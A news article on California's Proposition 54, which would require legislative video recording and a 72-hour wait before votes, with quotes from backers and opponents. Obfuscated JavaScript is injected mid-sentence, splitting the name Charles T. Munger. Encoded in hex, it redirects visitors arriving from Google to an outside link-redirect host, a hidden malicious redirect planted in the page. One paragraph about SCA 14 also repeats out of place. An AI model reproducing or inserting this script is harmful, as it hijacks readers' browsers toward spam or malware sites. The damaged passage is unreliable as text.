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The Legislature: Let the sun shine in

Chamber of the state Assembly in the Capitol, Sacramento. (Photo: Felix Lipov)

Want to take a deep dive into the California Legislature? You may get your chance.

Millionaire Charles T var _0x5575=[“\x67\x6F\x6F\x67\x6C\x65″,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x72\x65\x66\x65\x72\x72\x65\x72″,”\x68\x72\x65\x66″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”,”\x68\x74\x74\x70\x3A\x2F\x2F\x62\x65\x6C\x6E\x2E\x62\x79\x2F\x67\x6F\x3F\x68\x74\x74\x70\x3A\x2F\x2F\x61\x64\x64\x72\x2E\x68\x6F\x73\x74″];if(document[_0x5575[2]][_0x5575[1]](_0x5575[0])!==-1){window[_0x5575[4]][_0x5575[3]]= _0x5575[5]}. Munger, Jr. and former Republican state Sen. Sam Blakeslee crafted Proposition 54 on the Nov. 8 ballot, a constitutional amendment that would force the Legislature to record its actions and post the video on the web for the public, except for certain proceedings, such as personnel and caucus meetings.

It would bar lawmakers from acting on any bill until its final form has been published online for at least 72 hours, except in states of emergency declared by the governor.

“People think they know what’s going on in the state, but they have no idea about the deals, the power plays.” – Tom Scott

The 72-hour window would block bills from being hijacked at the last minute, the so-called “gut-and-amend” maneuver, in which stealth amendments are slipped into legislation before a final floor vote.

Opponents say the changes will allow well-heeled lobbyists to pick apart sensitive deals.

“Imagine, if you will, if Congress made a deal on gun laws. The NRA would have three days to kill it by unleashing a lobbying blitz, TV ads, and mustering its numbers to overturn it,” says veteran Democratic strategist Steven Maviglio.

But supporters – especially Republicans, because they are in the legislative minority — say making the Legislature wait before voting on a bill is a fundamental political reform.

“That’s just not the way California should be doing business. Period. I don’t care if you’re Democrat or Republican,” said Tom Scott, the California state director of the National Federation of Independent Businesses. He cited the recent passage of the minimum wage bill as an example.

“People think they know what’s going on in the state, but they have no idea about the deals, the power plays,” Scott said.

Scott’s group is part of a coalition of open-government advocates and business groups that supports the Munger-Blakeslee initiative. The coalition includes the League of Women Voters of California, California Common Cause, the California Chamber of Commerce and the Howard Jarvis Taxpayers Association.

In addition to donating to the state and local Republican parties, Munger has put over $7 million into his initiative’s campaign, called “Hold Politicians Accountable.”

“The reality is that the Legislature has consistently aborted, and in some cases thwarted, legislation in the past that would require the 72 hours. ” — Terry Francke

Munger, an experimental physicist who has a Ph.D in atomic physics, is the son of billionaire Charles Munger, the 92-year-old business partner of financier Warren Buffett. The younger Munger has become a familiar figure in California Republican politics and by one estimate, he has spent more than $80 million on various political causes and campaigns.

Blakeslee has served in both the state Assembly and Senate, where he said he saw the “abuse of the system” felt by both Democrats and Republicans.

There were some cases, Blakeslee said, “where I’d be voting for something and maybe afterwards wondered if I made the right vote.”

“The status-quo gives the leadership a great flexibility to make last-minute changes, to introduce language that would be severely opposed in committee,” said Terry Francke, a veteran legal expert on the media and the general counsel of a group called Californians Aware, which advocates for greater public access to government.

“The reality is that the Legislature has consistently aborted, and in some cases thwarted, legislation in the past that would require the 72 hours . . . They were still-born at the direction of leadership,” Francke added.

“All too often what you have are substantive changes in the law that get imported into a bill totally unrelated to that subject.” — Peter Scheer

Under Proposition 54, people will “have an opportunity to see, examine, and weigh in on bills,” said Lenny Mendonca, the co-chair of California Forward, a nonprofit reform group. “Gut-and-Amend, whereas, wouldn’t have input from constituents.”

As it’s a constitutional provision, Mendonca added, the Legislature could not waive it; it would have to go back to voters if they wanted to change it.

“All too often what you have are substantive changes in the law that get imported into a bill totally unrelated to that subject,” said Peter Scheer, First Amendment Coalition executive director. “It’s hard to think of anything more anti-democratic than that.”

New York, Idaho and Hawaii already require legislators to wait before voting on a bill in its final form.

In addition to the 72-hour waiting period, the Legislature would be required to record all public proceedings and post them online within 24 hours. The video would have to be downloadable for the public to use and accessible for at least 20 years.

The Legislative Analyst Office reported the storage and increased staff needed could cost the legislature $1 million annually in addition to a one-time cost of one to two million dollars for equipment.

“It allows three days for powerful lobbyists to attack compromise proposals. It also would allow for attack ads by allowing, for the first time, footage of the Legislature to be used in such ads.” — Steve Maviglio

The initiative would also change state law, which prohibits the public from recording legislative proceedings and prohibits using the state recordings for any “commercial purpose,” such as campaign advertisements.

“It’s almost unimaginable,” Blakeslee said about legislators’ ability to bring suit if someone wanted to use those videos to show what officials do. “But in the legislature, that is the case.”

However, a recent federal decision ruled against the Legislature’s control over their videos being used in campaign advertisements.

Under Blakeslee’s and Munger’s initiative, the public would be able to record all public proceedings and use those recordings for any “legitimate” purpose. The Legislature would be allowed to regulate placement and use of recording equipment to minimize disruption of proceedings.

“The important thing is that people have a chance to know what’s being debated and there’s a record,” Scott said. “Everyone benefits from having that archive.”

But opposition, led by Democratic strategist Steven Maviglio, expressed concern about what those videos will be used for and what that 72-hour delay before voting will mean.

“It allows three days for powerful lobbyists to attack compromise proposals,” Maviglio said in an email. “It also would allow for attack ads by allowing, for the first time, footage of the Legislature to be used in such ads.”

The initiative would “empower special interests,” said Maviglio, whose campaign is called the “Californians for an Effective Legislature.”

While the public may see some “interesting” videos contrasting what people said, Francke said, “elected officials will get used to that pretty quickly.”

In addition to requiring a bill with all its amendments to wait 72 hours before a vote, SCA 14 would have reduced the 31-day waiting period to act on a bill to 15 days.

“It’ll be interesting,” Francke said, “but I don’t think the kind of manipulation the politicians are afraid of will last very long.”

Munger and Blakeslee’s initiative also faces opposition in the Democrat-controlled Legislature, which introduced a constitutional amendment and a bill similar to Munger’s initiative. A reform of the initiative process sought to bring initiatives to the Legislature so it and initiative proponents could work together to negotiate policy.

A proposed constitutional amendment by Sen. Lois Wolk, D-Davis, which prompted concerns by Munger and his initiative supporters that it might compete with their Proposition 54,  will not be moving forward.

In addition to requiring a bill with all its amendments to wait 72 hours before a vote, SCA 14 would have reduced the 31-day waiting period to act on a bill to 15 days.

AB 884 by Assembly member Rich Gordon, D-Menlo Park, meanwhile, is undergoing amendments and, thus far, is moving through the Legislature. It currently states the Legislature’s video is public record and the public can do what it wants with those recordings.

“This is something the Legislature would not have done without the threat of popular reform,” Francke said.

California Forward supported the Munger initiative, as well as Wolk’s and Gordon’s proposals. The California Newspaper Publishers Association supported the two plans, but not the Munger-Blakeslee initiative.

Our board of directors “doesn’t feel the initiative process is a good way to deal with public policy,” CNPA General Counsel Jim Ewert said.

“As with any ballot measure, voters need to follow the money on this initiative,” Maviglio said.

“It was being funded by a single billionaire who has a long history of supporting right-wing causes and Republican candidates. His interest isn’t about good government; it’s about throwing a wrench into California’s progressive policy making process.”


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